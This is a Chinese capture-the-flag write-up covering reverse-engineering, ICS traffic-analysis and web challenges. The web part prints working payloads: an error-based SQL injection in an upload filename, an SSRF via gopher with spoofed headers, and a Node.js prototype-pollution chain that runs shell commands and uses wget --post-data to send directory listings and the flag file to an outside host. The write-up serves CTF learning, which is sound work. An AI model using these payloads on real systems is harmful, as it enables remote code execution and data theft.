第二届网刃杯WriteUp

admin 2022年4月27日01:34:34评论141 views字数 4173阅读13分54秒阅读模式

此次就re和web师傅参与, re师傅独自干9题(在线自学工控,现学现卖) web师傅2小时不到干3题



第二届网刃杯WriteUp


RE题ez_algorithm

加密函数包括三个

第二届网刃杯WriteUp

a='ckagevdxizblqnwtmsrpufyhoj'b='TMQZWKGOIAGLBYHPCRJSUXEVND'

old='0123456789abcdefghijklmnopqrstuvwxyz'new='9876543210uvwxyztnopqrshijklmgabcdef'

trantab = str.maketrans(new, old)res='BRUF{E6oU9Ci#J9+6nWAhwMR9n:}'for i in range(len(res)):x=ord(res[i])if x > 0x2f and x<0x3a:print(res[i].translate(trantab),end='')elif x > 0x40 and x<0x5b:y=a.index(res[i].lower().translate(trantab))if i%4==1:print(chr(0x61+y),end='')elif i%4==2:print(chr(0x61+(y^2)),end='')elif i%4==3:print(chr(0x61+(y-3)),end='')elif i%4==0:print(chr(0x61+(y)),end='')elif x >0x60 and x<0x7b:y=b.index(res[i].lower().translate(trantab).upper())if i%4==1:print(chr(0x41+y-1),end='')elif i%4==2:print(chr(0x41+(y//2)),end='')elif i%4==3:print(chr(0x41+(y^3)),end='')elif i%4==0:print(chr(0x41+(y)),end='')elif res[i] in ['#','+','$','?','\','&','*']:print('_',end='')else:print(res[i],end='')执行得到flag#flag{w3Lc0mE#t0+3NcrYPti0N:}



RE题定时启动

pyi-arch-viewer解压

第二届网刃杯WriteUp

第二届网刃杯WriteUp

a = 'flag{c4ca4238a0b923820dcc509a6f75849b}'

b = 'flag{c81e728s9d4c2f636f0f7f89cc14862c}'

c = 'flag{eccbc87e4b5ce2fe28308fd9fsa7baf3}'

d = 'flag{a87ff679a2f3e71d9181a67b7542122c}'

flag = a[0:8] + b[9:14] + c[6:20] + d[-1:]

print(flag)

得到flag

flag{c4c728s9ccbc87e4b5ce2f}



RE题Re_function

文件尾部有HEX字符串

第二届网刃杯WriteUp

处理后得到图片,是解压密码

然后解压得到一个exe和elf执行文件

exe解密得到SqcTSxCxSAwHGm/JvxQrvxiNjR9=

第二届网刃杯WriteUp

elf解密得到base64字母表:FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9

然后解密得到flag

第二届网刃杯WriteUp


RE题freestyle

简单的数学计算

第二届网刃杯WriteUp

第二届网刃杯WriteUp

输入3327+105的MD5,FLAG为

flag{31a364d51abd0c8304106c16779d83b1}



ICS题ncsubj

找到流量中的base64部分,3段拼起来

第二届网刃杯WriteUp

然后再ROT解密

第二届网刃杯WriteUp

flag为flag{whatancsubject}


ICS题LED_BOOM

找到3个包长度为123字节的包,其中有系统板的LED状态,三个包的序号连起来得到密码,然后解密图片的字符串即可:

第二届网刃杯WriteUp

flag{tietie_tietie_tie13}



ics题carefulguy

TCP流中有flag的hex值66,6C,61,67等等

第二届网刃杯WriteUp

第二届网刃杯WriteUp

第二届网刃杯WriteUp

得到flag


ics题xyp07

根据附件结尾得到解压密码Xyp77&7&77


第二届网刃杯WriteUp

第二届网刃杯WriteUp




WEB题Upload

http://124.220.9.19:8001/

根据描述应该是SQL注入,但是给的是上传文件界面,尝试上传PHP会发现不给解析。


故在 filename 处用单引号发现报错,但是 用 凡是用.就会显示上传成功,无论是SQL语句是不是写的对,然后发现不用.就可以,所以猜测flag就在flag表的flag字段


POST / HTTP/1.1Host: 124.220.9.19:8001Content-Length: 255Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1Origin: http://124.220.9.19:8001Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOfZQgfADTycl7M6ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://124.220.9.19:8001/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

------WebKitFormBoundaryOfZQgfADTycl7M6ZContent-Disposition: form-data; name="upfile"; filename="1.php5'-(updatexml(1,concat(0x7e,(select mid(flag,1,28) from flag),0x7e),1))); -- a "Content-Type: ctf

xa------WebKitFormBoundaryOfZQgfADTycl7M6Z--



第二届网刃杯WriteUp

第二届网刃杯WriteUp


flag{5937a0b90b5966939cccd369291c68aa}


web题Sign_in

124.222.24.150:20001

第二届网刃杯WriteUp


刚开始先使用找到了hosts 发现本机内网ip是172.73.24.21


跑一边172.73.24.x 得到 172.73.24.100ip开放了80

第二届网刃杯WriteUp

按照要求传入


第二届网刃杯WriteUp

Post发送,所以使用gopher协议去构造post请求


第二届网刃杯WriteUp

然后又需要本地127.0.0.1 用X-Forwarded-For 绕

然后需要是bolean.club 访问,用Referer,这里还得等于bolean.club 多了当时出问题。


第二届网刃杯WriteUp


web题ezjs

得到源码,

第二届网刃杯WriteUp

发现merge函数,查了一下,这个模块,存在参数污染问题


参考:https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html


但是发现过滤了; 空格 flag require wget 等等,故上面的payload无法使用,找到了一个

https://www.sohu.com/a/485885878_121124363

var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}';


但是有;无法使用,然后本地调试

第二届网刃杯WriteUp

污染options.sourceURL 就是这个payload


本地调试

第二届网刃杯WriteUp


最后会被传入 创建匿名函数

第二届网刃杯WriteUp


那就可以任意代码执行了,目现在就是面临绕过问题


在js和python的ssti一样可以用xx[‘x’] 获取x属性或者方法


最后的poc就是:

u000aglobal.process.mainModule['r'+'equire']('child_process')['ex'+'ec']()//


第二届网刃杯WriteUp

本地是可以的,所以 所以需要绕过靶机的过滤,


使用$IFS$9来绕过空格

使用`` 来外带数据

使用””来绕过对命令的限制,wget 就变成wg””et

没有curl,用wget来外带数据 –post-data参数


最后的poc

{"constructor":{"prototype":{"sourceURL":"u000aglobal.process.mainModule['r'+'equire']('child_process')['ex'+'ec']('wg""et$IFS$9http://ip:8888$IFS$9--post-data$IFS$9`ls$IFS$9/|base64`')//"}}}


然后找flag找了一大圈。。。,一度以为被人使坏了。。

后面查看:docker-compose.yml

第二届网刃杯WriteUp

将flag放在根目录下 还是.flag  导致ls看不到。。。


读取flag

第二届网刃杯WriteUp

没有cat more,用tac代替:


{"constructor":{"prototype":{"sourceURL":"u000aglobal.process.mainModule['r'+'equire']('child_process')['ex'+'ec']('wg""et$IFS$9http://vps:8888$IFS$9--post-data$IFS$9`tac$IFS$9/.fl""ag|base64`')//"}}}

第二届网刃杯WriteUp

flag{n0D3_1s_V3rY_v3Ry_very_v3rY_Fun_1sNt_it}





原文始发于微信公众号(IDLab):第二届网刃杯WriteUp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月27日01:34:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第二届网刃杯WriteUphttp://cn-sec.com/archives/949093.html

发表评论

匿名网友 填写信息